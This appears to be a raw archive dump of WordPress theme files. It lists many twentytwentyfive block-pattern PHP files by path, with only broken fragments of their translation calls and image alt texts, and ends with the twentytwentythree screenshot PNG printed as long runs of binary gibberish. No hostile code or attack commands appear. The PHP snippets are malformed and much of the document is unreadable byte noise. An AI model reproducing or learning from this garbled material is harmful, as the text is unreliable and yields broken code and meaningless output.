    themes/twentytwentyfive/patterns/testimonials-large.php000064400000006600152335264760017703 0ustar00

    Atlanta, GA', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
    <?php echo esc_attr_x( 'Picture of a person typing on a typewriter.', 'Alt text for testimonial image.', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/contact-location-and-link.php000064400000004770152335264760021042 0ustar00

    <?php esc_attr_e( 'The business location', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/post-navigation.php000064400000002653152335264760017226 0ustar00
    themes/twentytwentyfive/patterns/footer.php000064400000007551152335264760015404 0ustar00

    WordPress' ); ?>

    themes/twentytwentyfive/patterns/grid-with-categories.php000064400000011465152335264760020126 0ustar00

    <?php esc_attr_e( 'Close up of a red anthurium.', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/header-large-title.php000064400000003107152335264760017536 0ustar00
    themes/twentytwentyfive/patterns/hidden-404.php000064400000003471152335264760015643 0ustar00
    <?php echo esc_attr_x( 'Small totara tree on ridge above Long Point', 'image description', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/cta-heading-search.php000064400000002461152335264760017510 0ustar00

    themes/twentytwentyfive/patterns/banner-cover-big-heading.php000064400000003544152335264760020621 0ustar00
    <?php esc_attr_e( 'Photo of a field full of flowers, a blue sky and a tree.', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/page-portfolio-home.php000064400000031031152335264760017751 0ustar00



    themes/twentytwentyfive/patterns/hero-podcast.php000064400000007671152335264760016501 0ustar00
    <?php echo esc_attr_x( 'Picture of a person', 'Alt text for hero image.', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/more-posts.php000064400000004227152335264760016213 0ustar00

    themes/twentytwentyfive/patterns/hero-book.php000064400000005606152335264760015772 0ustar00
    <?php esc_attr_e( 'Image of the book', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/template-single-news-blog.php000064400000015674152335264760021100 0ustar00

    themes/twentytwentyfive/patterns/event-rsvp.php000064400000013571152335264760016216 0ustar00

    historias, iсторії, iστορίες”', 'Placeholder heading in four languages.', 'twentytwentyfive' ) ); ?>

    <?php esc_attr_e( 'Close up photo of white flowers on a grey background', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/logos.php000064400000004777152335264760015240 0ustar00

    themes/twentytwentyfive/patterns/template-search-news-blog.php000064400000002435152335264760021053 0ustar00
    themes/twentytwentyfive/patterns/cta-book-links.php000064400000006444152335264760016723 0ustar00

    international editions.', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>

    themes/twentytwentyfive/patterns/cta-grid-products-link.php000064400000024541152335264760020372 0ustar00

    <?php esc_attr_e( 'Black and white flower', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Closeup of plantlife in the Malibu Canyon area', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Flora of Akaka Falls State Park', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Botany flowers', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Black and white flower', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/page-landing-event.php000064400000001466152335264760017552 0ustar00 themes/twentytwentyfive/patterns/text-faqs.php000064400000013407152335264760016017 0ustar00

    themes/twentytwentyfive/patterns/format-audio.php000064400000004240152335264760016465 0ustar00
    <?php esc_attr_e( 'Event image', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/footer-columns.php000064400000011543152335264760017056 0ustar00

    WordPress' ); ?>

    themes/twentytwentyfive/patterns/footer-social.php000064400000004573152335264760016655 0ustar00

    WordPress' ); ?>

    themes/twentytwentyfive/patterns/template-query-loop-text-blog.php000064400000005233152335264760021731 0ustar00

    themes/twentytwentyfive/patterns/template-home-text-blog.php000064400000002043152335264760020541 0ustar00

    themes/twentytwentyfive/patterns/pricing-3-col.php000064400000024171152335264760016451 0ustar00

    themes/twentytwentyfive/patterns/page-coming-soon.php000064400000006434152335264760017247 0ustar00 themes/twentytwentyfive/patterns/heading-and-paragraph-with-image.php000064400000005251152335264760022234 0ustar00

    <?php echo esc_attr_x( 'Cliff Palace, Colorado', 'Alt text for Overview picture.', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/binding-format.php000064400000000751152335264760017001 0ustar00

    themes/twentytwentyfive/patterns/template-home-photo-blog.php000064400000002502152335264760020706 0ustar00

    themes/twentytwentyfive/patterns/template-404-vertical-header-blog.php000064400000003436152335264760022202 0ustar00
    themes/twentytwentyfive/patterns/hidden-blog-heading.php000064400000000700152335264760017644 0ustar00

    themes/twentytwentyfive/patterns/hidden-written-by.php000064400000001517152335264760017437 0ustar00

    themes/twentytwentyfive/patterns/template-archive-news-blog.php000064400000002404152335264760021223 0ustar00
    themes/twentytwentyfive/patterns/comments.php000064400000003704152335264760015727 0ustar00

    themes/twentytwentyfive/patterns/hero-overlapped-book-cover-with-links.php000064400000015505152335264760023333 0ustar00

    international editions.', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>

    <?php echo esc_attr__( 'Book Image', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/banner-poster.php000064400000011016152335264760016654 0ustar00 themes/twentytwentyfive/patterns/event-3-col.php000064400000014761152335264760016143 0ustar00

    <?php esc_attr_e( 'Event image', 'twentytwentyfive' ); ?>

    <?php esc_attr_e( 'Event image', 'twentytwentyfive' ); ?>

    <?php esc_attr_e( 'Event image', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/services-subscriber-only-section.php000064400000007753152335264760022517 0ustar00

    <?php esc_attr_e( 'Smartphones capturing a scenic wildflower meadow with trees', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/page-link-in-bio-heading-paragraph-links-image.php000064400000007224152335264760024663 0ustar00

    <?php esc_attr_e( 'Photo of a woman worker.', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/template-archive-photo-blog.php000064400000001431152335264760021377 0ustar00
    themes/twentytwentyfive/patterns/template-query-loop-photo-blog.php000064400000004044152335264760022075 0ustar00

    themes/twentytwentyfive/patterns/footer-newsletter.php000064400000005126152335264760017572 0ustar00

    WordPress' ); ?>

    themes/twentytwentyfive/patterns/cta-newsletter.php000064400000004473152335264760017047 0ustar00 themes/twentytwentyfive/patterns/template-archive-text-blog.php000064400000001720152335264760021233 0ustar00
    themes/twentytwentyfive/patterns/template-home-news-blog.php000064400000022277152335264760020544 0ustar00

    themes/twentytwentyfive/patterns/pricing-2-col.php000064400000014613152335264760016450 0ustar00

    themes/twentytwentyfive/patterns/template-query-loop-news-blog.php000064400000006564152335264760021731 0ustar00

    themes/twentytwentyfive/patterns/cta-events-list.php000064400000021266152335264760017127 0ustar00

    historias, iсторії, iστορίες”', 'Placeholder heading in four languages.', 'twentytwentyfive' ) ); ?>

    historias, iсторії, iστορίες”', 'Placeholder heading in four languages.', 'twentytwentyfive' ) ); ?>

    themes/twentytwentyfive/patterns/vertical-header.php000064400000003102152335264760017131 0ustar00
    themes/twentytwentyfive/patterns/template-search-photo-blog.php000064400000001672152335264760021232 0ustar00
    themes/twentytwentyfive/patterns/page-business-home.php000064400000001420152335264760017566 0ustar00 themes/twentytwentyfive/patterns/template-single-text-blog.php000064400000006047152335264760021102 0ustar00
    themes/twentytwentyfive/patterns/template-single-photo-blog.php000064400000013102152335264760021235 0ustar00

    themes/twentytwentyfive/patterns/media-instagram-grid.php000064400000011321152335264760020061 0ustar00

    <?php esc_attr_e( 'Photo of a field full of flowers, a blue sky and a tree.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Profile portrait of a native person.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'View of the deep ocean.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Portrait of an African Woman dressed in traditional costume, wearing decorative jewelry.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'The Acropolis of Athens.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Close up of two flowers on a dark background.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Birds on a lake.', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/hidden-search.php000064400000001021152335264760016566 0ustar00 themes/twentytwentyfive/patterns/banner-about-book.php000064400000005331152335264760017405 0ustar00

    <?php esc_attr_e( 'Image of a book', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/page-landing-podcast.php000064400000001444152335264760020062 0ustar00 themes/twentytwentyfive/patterns/event-schedule.php000064400000031115152335264760017012 0ustar00

    <?php esc_attr_e( 'Birds on a lake.', 'twentytwentyfive' ); ?>

    Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>

    <?php esc_attr_e( 'View of the deep ocean.', 'twentytwentyfive' ); ?>

    Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>

    <?php esc_attr_e( 'The Acropolis of Athens.', 'twentytwentyfive' ); ?>

    Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>

    <?php esc_attr_e( 'Black and white photo of an African woman.', 'twentytwentyfive' ); ?>

    Prof. Fiona Presley', 'Pattern placeholder text with link.', 'twentytwentyfive' ) ); ?>

    themes/twentytwentyfive/patterns/page-landing-book.php000064400000001520152335264760017352 0ustar00 themes/twentytwentyfive/patterns/services-3-col.php000064400000007405152335264760016642 0ustar00

    <?php esc_attr_e( 'Image for service', 'twentytwentyfive' ); ?>

    <?php esc_attr_e( 'Image for service', 'twentytwentyfive' ); ?>

    <?php esc_attr_e( 'Image for service', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/template-page-vertical-header-blog.php000064400000005610152335264760022603 0ustar00
    themes/twentytwentyfive/patterns/header.php000064400000002444152335264760015332 0ustar00
    themes/twentytwentyfive/patterns/template-home-posts-grid-news-blog.php000064400000021105152335264760022622 0ustar00

    themes/twentytwentyfive/patterns/page-shop-home.php000064400000001076152335264760016713 0ustar00 themes/twentytwentyfive/patterns/overlapped-images.php000064400000006545152335264760017514 0ustar00
    <?php esc_attr_e( 'Photography close up of a red flower.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Black and white photography close up of a flower.', 'twentytwentyfive' ); ?>

    ' . esc_html_x( 'Fleurs', 'Example brand name.', 'twentytwentyfive' ) . '' ); ?>

    themes/twentytwentyfive/patterns/template-single-offset.php000064400000012265152335264760020462 0ustar00

    themes/twentytwentyfive/patterns/header-columns.php000064400000002732152335264760017010 0ustar00
    themes/twentytwentyfive/patterns/template-page-photo-blog.php000064400000002306152335264760020674 0ustar00
    themes/twentytwentyfive/patterns/template-archive-vertical-header-blog.php000064400000004164152335264760023313 0ustar00
    themes/twentytwentyfive/patterns/hidden-sidebar.php000064400000004007152335264760016741 0ustar00

    themes/twentytwentyfive/patterns/contact-info-locations.php000064400000014477152335264760020470 0ustar00

    themes/twentytwentyfive/patterns/banner-intro.php000064400000002353152335264760016477 0ustar00

    ' . esc_html_x( 'Fleurs', 'Example brand name.', 'twentytwentyfive' ) . '' ); ?>

    themes/twentytwentyfive/patterns/cta-book-locations.php000064400000017410152335264760017571 0ustar00

    themes/twentytwentyfive/patterns/header-centered.php000064400000002152152335264760017115 0ustar00
    themes/twentytwentyfive/patterns/template-single-left-aligned-content.php000064400000013463152335264760023200 0ustar00

    themes/twentytwentyfive/patterns/template-search-vertical-header-blog.php000064400000004224152335264760023134 0ustar00
    themes/twentytwentyfive/patterns/hero-full-width-image.php000064400000005167152335264760020201 0ustar00
    <?php echo esc_attr_x( 'Picture of a flower', 'Alt text for cover image.', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/grid-videos.php000064400000004112152335264760016310 0ustar00

    themes/twentytwentyfive/patterns/template-query-loop.php000064400000004643152335264760020032 0ustar00

    themes/twentytwentyfive/patterns/template-search-text-blog.php000064400000002152152335264760021057 0ustar00
    themes/twentytwentyfive/patterns/banner-intro-image.php000064400000004564152335264760017565 0ustar00
    <?php echo esc_attr_x( 'Picture of a flower', 'Alt text for intro picture.', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/contact-centered-social-link.php000064400000004004152335264760021521 0ustar00

    Feel free to reach out.', 'Heading of the Contact social link pattern', 'twentytwentyfive' ) ); ?>

    themes/twentytwentyfive/patterns/template-home-vertical-header-blog.php000064400000004107152335264760022617 0ustar00
    themes/twentytwentyfive/patterns/services-team-photos.php000064400000005566152335264760020173 0ustar00

    <?php esc_attr_e( 'Woman on beach, splashing water.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Portrait of a nurse', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Picture of a person typing on a typewriter.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Man in hat, standing in front of a building.', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/template-query-loop-vertical-header-blog.php000064400000004322152335264760024002 0ustar00

    themes/twentytwentyfive/patterns/template-home-with-sidebar-news-blog.php000064400000017044152335264760023120 0ustar00

    themes/twentytwentyfive/patterns/testimonials-6-col.php000064400000027343152335264760017540 0ustar00

    Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>

    Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>

    Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>

    Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>

    Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>

    Springfield, IL', 'Sample testimonial citation.', 'twentytwentyfive' ) ); ?>
    themes/twentytwentyfive/patterns/page-link-in-bio-with-tight-margins.php000064400000007661152335264760022656 0ustar00
    <?php esc_attr_e( 'Black and white photo focusing on a woman and a child from afar.', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/cta-centered-heading.php000064400000003771152335264760020041 0ustar00

    themes/twentytwentyfive/patterns/format-link.php000064400000002764152335264760016332 0ustar00

    themes/twentytwentyfive/patterns/page-link-in-bio-wide-margins.php000064400000006263152335264760021513 0ustar00
    <?php esc_attr_e( 'Woman on beach, splashing water.', 'twentytwentyfive' ); ?>

    themes/twentytwentyfive/patterns/banner-with-description-and-images-grid.php000064400000005726152335264760023575 0ustar00

    ' . esc_html_x( 'Fleurs', 'Example brand name.', 'twentytwentyfive' ) . '' ); ?>

    <?php esc_attr_e( 'Photography close up of a red flower.', 'twentytwentyfive' ); ?>
    <?php esc_attr_e( 'Black and white photography close up of a flower.', 'twentytwentyfive' ); ?>
    themes/twentytwentyfive/patterns/footer-centered.php000064400000003006152335264760017162 0ustar00

    WordPress' ); ?>

    themes/twentytwentythree/screenshot.png000064400000237366152335264760014607 0ustar00PNG  IHDRm>IDATx u[d2T$dʐ9)CYQ*EB`(YIBD kji@#ܒ~_s5}sxGwk\kQQW޼y͛7o޼y͛7o޼ 膫%#I$I$ b,I$I$ $I$IK$I$IxĄ$I$IK$I$If%I$IA$I$IK$I$If%I$IA$I$I ,I$I$ $I$IK$I$If%I$IA3$I$IҠ9 $I$I ,I$I$ X$I$I4,I$I$ C%I$I4hX$I$I4,I$I$ =$I$I4hV`I$I$i $I$I4hX$I$I4,I$I$ $I$IY%I$I4hV`I$I$i $I$I4h!$I$IҠY%I$IA3$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ $I$IK$I$If%I$IA[hbbk:<ņnX<-vy|f}C388蠃<,u]knVkM6)M%I$Iso\,r{gyf/~cvە^qK=xC crytMS~ι)9뗾bbyk?]n~gv(w?O?g}ZO$Iwq{ܣ@OuЗb/s[G?>)x߽T2L[Z`_ŃrqS~G8.otI߻\7.g/uF ؐ~_{}:$I9?OpS=TQOG?Z/([y䑓;CsL hBk)z#Q|ߞ92Nkկ}{{^h*@ꪫiO{Z? u|Lu{]/|aVg?ٲ]͓1y̔wmha/}K~FmTW^Ӭs1e;|>+eB1BMozSQ9%I$i."U? /^ה}ַxPom)/|ݛ piV~vk~gL>?8 O}wU-vE}V)h^W˿ST?2 ?.5˴jS0%hk5,+7f+eP#jJ+W\q V$IҜDC_זaCжv|i|rTJmo+MEeQz Wxg0Jh駟>;sQzTZ+UE`C'VUq*wUOP*SqU!pRr痯*oN1yղӝ4-"hDYykGL墺p%p%I$ILry >/~S&PaĹXV|g=PQtݮB)FQQT9'/*^Mys=atGUuY LT)!TxzY&vX*1Ľjz_jx񖷼e2,+C .bWkI_bZ]$I未0*&1{5 a} 7,!sй;o1'|rYLrxqǕ?1ۯ ְzoO5\S,S&"~k_+qѨP ƍwc|& ^WLy ikTg+[uV5 XB1̔PKZ.I$IsM+,+BHBuj'h˒fhܫ_te@UUN)=J IVZZkMX xgeYVUfe/{Yo.s饗Oj_ pW_[eU>7#v} y_M00;Ÿj~Nbd뭷. FZ*I$IsmVV8=>`1BH_*;4Hq,w]3S &뮻njQVR`yI<AC C0лډQ'Eqj*g}ʿK 馛NȲzbIȈ#8a5wT1T1 5/`-2Iv)3DU6 l8LCI$IN:)CR 磹_?3}<ߧrd)f&LG--f&J-o|&_f&>'ΐ@/h~NGAz~ƈs9g=\nx'"ds1ee/aσ} *TXN(5C.Y5/`I$I4dZ9/ECx{ 5`I$I4d407qTxѷ%i[hbbK$I$ICe$I$I ,I$I$ $I$I!$I$I4,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hX$I$Iŋ&&& $I$I4TX$I$I4,I$I$ =$I$I4hX$I$I4,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hX$I$Iŋ&&& $I$I4TX$I$I4,I$I$ =$I$I4hX$I$I4,I$I$ =$I$I4hV`I$I$i $I$I4hX$I$I4,I$I$ $I$IY%I$I4hV`I$I$iЬ$I$IҠ`I$I$iB(I$IA3$I$IҠ`I$I$i%I$IAK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hB(I$IAK$I$If%I$IAs$I$I ,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ EX$I$I*+$I$I4hX$I$I4J$I$iЬ$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ $I$IK$I$If%I$IA3$I$IҠ-^411a%I$IK$I$If$I$I ,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ $I$Im񢉉 ,I$I$ $I$IK$I$If,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ EX$I$I*+$I$I4hV`I$I$i $I$I4h!$I$IҠ`I$I$i $I$I4h$I$IҠY%I$IA3Z(b-(vqUzU/9+O/o_=y!R{.8:[2>{~s[~},;PlV~Yy=o/~AtA-ܲ8+C-+Ovϲom݊+^b+J<|fr_fwf\xŇ>c-fsGK^ ~~@u 'oy'?B$-iX bѢESn0Nr5.p;LO]{({ 7p8 묳Δ㉁F=nzD<} .[n)}.lh87{=+aG7^җfGxﵯ}@]Ym.IҒfPS׾5iO{ڔCEHw닻nS낙bh4Fm4mx^WO?z"$IkXQMеX~\X /? _-àfIXzԣs ,I8 BQ`q>.z+Bz{^ŵ^;'#oZwu{XV ;XclKK4V`-u~c_җjF]hsKepˋJfIX?\<-_k0$ X ESl,YzH|ak2k ,I`-Mֲ.[\z3z~f{~ 4`_XXcd5w`I! E`X'ke)VYeK#]SfqXmVw`υ˺1Um X_gcse7mkC9db ;3b!`6Kju`-}$iA2Z(.wKwXq4X n*V^yz\>*wx_(>Oex\|(gu61yL=|?X-~b|_.G yo\q~S?/O0x/6`bm);ί&bw.kVjkf=|[Nozӛʦ|fGuTM5rx[qqlI?rL>=ܳ+&?\ԧˍЇ>x\u[8C˰τu>3|3 /pX,ƺ:ʺeHߛo~Of`q/k]Rn>=Lum8TYW}sī:5 :@orPlj^7Ϸw3D '[}3E>5 l^bKg]}TN캼NnmY?yVO|뭷^ky)%Č.˄. ou7N*ƁmJ+i#`Lkwtk|G2BBq`]]s5+Az/HoF| .!7~s7fr#X8S{6ǰW?x3鳠'믿~+ԟ{=|2`e /7U Ap&9\ Oӟ5p"Í6\QNZYB\Wow'3Z\8k=JE09c`|}& nm8*2)*FyU85>kbvu{k^l/˴ # ZE}-+J鍊>Qj7.0p3}ܾՓ].b}n*<7(>PEޟW7*X|V;Yuw> ⺈5r$I0*ZVup!  a"bN×x %b>ݱ HFM;`q7^e'Cݚ >V^HRA 9Yu\͡ "CM&*g +CK,/C>|h5U27W{w !uL+bEZ|M,;w|?q{.>AS‰>T_p6yse[ƪ:eU43CN3UyXTI-7AlO}0n}tEw ui嗟Q5s ^וübE6I:t?3L.NǾ)X3˄c}jSP!;S==[Ϻp3m3`qewwLn]LbźXibZwrhޏe]Cuw$K 4SO-O9'/}ă$@ U/ vzOߌ%jnXV* _JuIl<`qxߧ/s"_?; `x≵$ ˈUc-l\:&%JORd>{CWZA^})AZ_ }I&jK1'@WIO}!HZx}ܲ[], Ш=eVBn[CXiD[L `&oi'@%kO|],BS IkQmJ%I.Xj:_H! 'aʝ u:9{הq0k=~Fţf:7ޟ9Ca\-C+n[*˺[snݯR,Ȋ)9FɽU &z6vn[w4-=˙{%IXXUU39']{Eq }׻uOլxIXmQյQn8Y[˯"kVc3舒8NF 8U d4`SP5>ġfP45eP:1e8d`׿u{}izq"|^s ]"[nK+n.Xv`^O#KT*Mk]C(纓Xˮuna!b5> r΋ORƠ`&6t{\4m~דO607̼n9+R ڄ޹Lu`4&.e;{ MW-ܴהߡ}.TX`&sb?Ln4ω]8ے$, IW7[P+NfIX]jS{aD@KXf`Ae"]\O~Eɍ}N"jZݏPaP$2w >؃=96*&T6K6\,7 +7#`!V冧z .AKpnV\~uu{XlJ6+>ʔ0']D|IX?댊d "V &gUyjÅXIZ>fm5Vesz}{K5 cs`sV]sV 񱹖?Mڮ,$,ͱ)G n ՍhK*4)řQQUnxEi8S-7tG kz0Z !7 h'uQȭCO8ԢiWrM9c&'TtpXmlV5;Z̄ץVkmrzzHUW)Pپ+"fx+ÞMv2W @.jUy, +VV2}gP:z>X}&K/`Ctݲg}~y,i%@soЊV@Ȑ> Vqj.UW \ n+[7+ls8IA--GiBQ"7hS4,}J(`my5_zUZRUaQ,**dMWAKz뭍Z& gM)ߕ <mʐuF hWromMV}lGzġ]+S*qP,f+7 !NO*{ ۋ'1$ag!u/}g?Y >CzSqf׼5S~df iR?=g[ň8d cv}8 }'c`o#zZ U#^D$`iX*8+[}spf;jkڜU1bO<MI,`r06iUMXq$ sRXƙrW9Op0$= -X;ЄQ+ƉYъw+CPE,wnF b%ÈF1%x"Hb;0^h {{[]" k5ʶ/M#&ڈ9z&*n>Xoy|q_}> ߳`&Kռur CHg]m/p\Eoq";D7/*cwu]%|gDŽ*8֕$!X87'mf;ڜ5XW_}m3>VRI!'J}[OFgF gFb_WKt ,w+tDu3^`~#6_g(` 1,qWu' '3 'cqXuՌ}n]s6ؠ*Ac<;üyW.C~c0ge4N~mGr1+N:QD.(f-'I;ii`m8q`t f'vFHo>3iJAUXe8XikJ)'bHXmVnh9{w=GoϊsXTn4m;86&N|Ꜵ7 ' X! XK+I vhrmV m=Z 1s_8O|3^XVēk"Ru8,S_ ym޻{8 F.:Eb<ժÄ$aq\hE fm6ҾfVe;ơsnag@XqK%}s)$`iX~$t.X]wݴfAp i%8^mU mVt@߄.}-ҙL"8~,4{1VzúD'8̢Ųg8PQjg_>JrKFmCF j!!߭Z 9=iq[M Đkkd̺b%(bX2VZipV4[4,Ls^.I{,TcbK>nXbkQE`ҧm]z)pԥ`!6ggjگЪ@d`{i8%t]3չ`q"`+7 3 k Fnj.u,SGs\@0s3إ2׬x.X4'ISQt"ױqXYҦ:Xq&:B;u$f8c[osE{: {řX ՜ov]~F}š]j ö!V`&h'" Kֹ;m}ġzֳz=l0mzfU1ShН@n\EP ԦfK: Ʊ)($IX%ڔaeۗ_~y6d]1,zmNⰡ(C Hǧku'ϸ9nnz⬇P4f=K2D#1D ʼnE`ř1=j6B[c5f- -nC>߁CC 3Θ[#g`ř̼H0>Jw+w@mJ|TAأ0Fbzŵ2PE`g^z'jp&y{N[ o^;2*QlkK:beqV-^U#]$,ͳ )&WAo.Cbg;.V QiCy>t},N^x$.+Ut-آd!\4`.X a櫦uΊA8'Gjo^n`ʂ4mrÑa2TA V:<^6M}ĪVaguִnkrDn{$͐p^"/+Wچm;,Ysl*ur~zl=MX*7o.Cesj Gg;Bz+P-I2 bTn0#6XT @^[W bߧ&ιFm \3d*ȴT}:rjgp43Їe.X?/ccϡ #ro@}[ni}g0$:}qBꭺ߉>`vaSGU +i?)oEc_/IIE/x2P^{ֿ7,s 9$p!J9E:,@%=`.=x4*e77'uXiޞ'C]L #eo>rEbַ޾-0 fٵ-'Bs "8b6,PnBj},ºٱX]w]vĶc))Y_> N+f}-Y3\@> Q8CgUexןU],֛SʰEAնsTNƦum)AjoDzmr;g =NX5C8,nafY蓘 jEf؂?3lZGxКʜ\?G&àz0bUuШʽ~.M{L8찺qߜ`H'8ᘃ}9m=[K;ꫧUw܎}gh$ ,02]{.XA'l\UpɕQ*$]D kATue[<1blXK,^E7Vhb4lXEC_X|~Tưmۢ\enXEߪUfVlB%T pVF Du`s!>+ڏ'X|;ˊxP֙Lri3U\um}Mos[Wt'&er#(,ExP6˗VG;rۃ#H`V``Upӥixr;[焕_>9Tqpī.`O>"[wrv#>5\nIنafr]0[Đ`LM7Ϻ}fѢ*mHM#lg3d!UBOC=Si@*nTtmI~l0F.rnd.Blo`qq{Xݶ$,AjPq8kQF pjXcU{㦶[$1 MT>H`Ye$^86B`q?wLgtk p'em|Lk_I(Vu0\x3%mItK.|Oϐ: H74UE7C9q ψәw9*WFK'VgݥʎJςV<̺NcU5'rD?+p%=}C0&V4Uubպ>`P޴2IU JЪ-oyKk NbUJ% a1׍as}0S}wc^۶J;~# f`q~1'Tω߶~v`zWWFq<CN*@TuynuXTV.LQY^7<1 }*,A.k1dc'I2@eT/ 1#<<~hyieǐz+c>p"NYD_b9'Tu=ջrh᜴s%)nx ɫU tyW'_ o<7:هz=D 3>KWs'̈́5*8 w[W£j`tAuGWL<&U ~@Ϝ峫 YW ߵq;sNp{CXKdόu#:ɉ '3.nTqRg=;2|َf#0cps hh?l^_|C!#C'$ VUU-O[ ou#l˺Ό| Тω{yPmgx~*;5 a=H trЅzgbƅ.CBLUa$pTu JtcwO!龽E*YwN\}FSe1T}5"0Tj!'˅ UlMoO>[/, ؟7Xoh,OXHj_geYFv P|ށ9`!$Du']XC?)-rq*I $ITCV_}WCw 4`]e%I $I+nb7تKz*J$,IRV[m)?)v7e}͢s3|.PubQ̧m*=_Ǥ-nm2Lykv9[ `IYv2-+bR*@Kvi:}%Is$Iu>ϗWTd]*nVznOL( 9蠃MEjy{^qaK $Ijsy畕k򗿼x㍋ڪm݊ګ_LLL4s9D;Nߋ/؅V]vY|\o99]83r'~$,I$I$ EX$I$I*+$I$I4hV`I$I$iЬ$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i/0$I$IP`I$I$i $I$I4h$I$IҠ`I$I$i $I$I4h$I$IҠY%I$IA3$I$IҠ`I$I$i $I$I4hX$I$I4g!$I$IҠY%I$IAK$I$If%I$IAs$I$IK$I$If%I$IA$I$I ,I$I$ $I$IK$I$If%I$IA3$I$IҠ9 $I$I ,I$I$ $I$I!$I$I4+$I$I4hX$I$I4,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hMLL`I$I$i$I$IҠ`I$I$iB(I$IAK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ $I$IK$I$IxĄ$I$I ,I$I$ X$I$I4,I$I$ C%I$I4hX$I$I4,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hMLL`I$I$i $I$I4hX$I$I4{`I$I$i $I$I4hX$I$I4,I$I$ $I$IK$I$If%I$IA3$I$IҠ`I$I$i $I$I4hMLL`I$I$i $I$I4hX$I$I4{`I$I$i $I$I4hX$I$I4{`I$I$iЬ$I$IҠ`I$I$i $I$I4hX$I$I4,I$I$ J$I$iЬ$I$IҠY%I$IA3$I$IҠ9P$I$If%I$IA3$I$IҠK$I$If$I$IK$I$If%I$IA3$I$IҠ`I$I$iМP$I$If$IZ&&&o5\StM.I1Zbv+^m]?b/%/yI|'{n>W|_/n6?c-^?. B {_?;\ o(9|8╯|ؖ ޺8>o&zr,Lq׻޵Xc5?śE^5)_;hqgE֬9m5_g-^WlMN;W]u>Zx[Zo;Pn#ciMQo|}CGQOrԌ{{XF9'dW|_SO=spQGf! 9S,ZhMy7ClV~ ;t=9](|+Ӷ]tEs~lvuAK.xs?/~ӟr0.s}~5+[o)_<+笳Κ]#ϸ76v]g=k^gt7Nw.ΏPwx`xgZX .\ve /p=幸}ӟ7a,  Bg+p֥꥙*Eo`mSx_f͊G=QS/Y;Tcyl0(C=Ucٗp^Uq]l:?wY> ?RX A.W,PPu'ASp7|:Pݞuߎ3$!}=q~5+Du-Z;vge{W4]kf9jV^XuU7ގ9WVFӨûn_NCX{'.{~.2 .A,0X*6ʪ|d8ح:/Ͽ'ë_)oz-j?Yj@v;]vY1ZkM{C o`'?)깿e֬XVlGި̚bTI6cկ^Cq9=(ª$]6hΏ?d;[9r0} ROX AS3|],p|zX?ZVu>Zg}Tu;n_W[ @o~Oõ$N2ki޳)X\cbăuwcqu׵> M%tT:[E2Z,VWջ`ia3\v5ה:Y4~}}cVF=hbn;KZf;b6Ǒ7᷾ylcz<ý89f}k!5M+8F`'?eQwXKsV`?|馛>_Mo 4vu!Lz 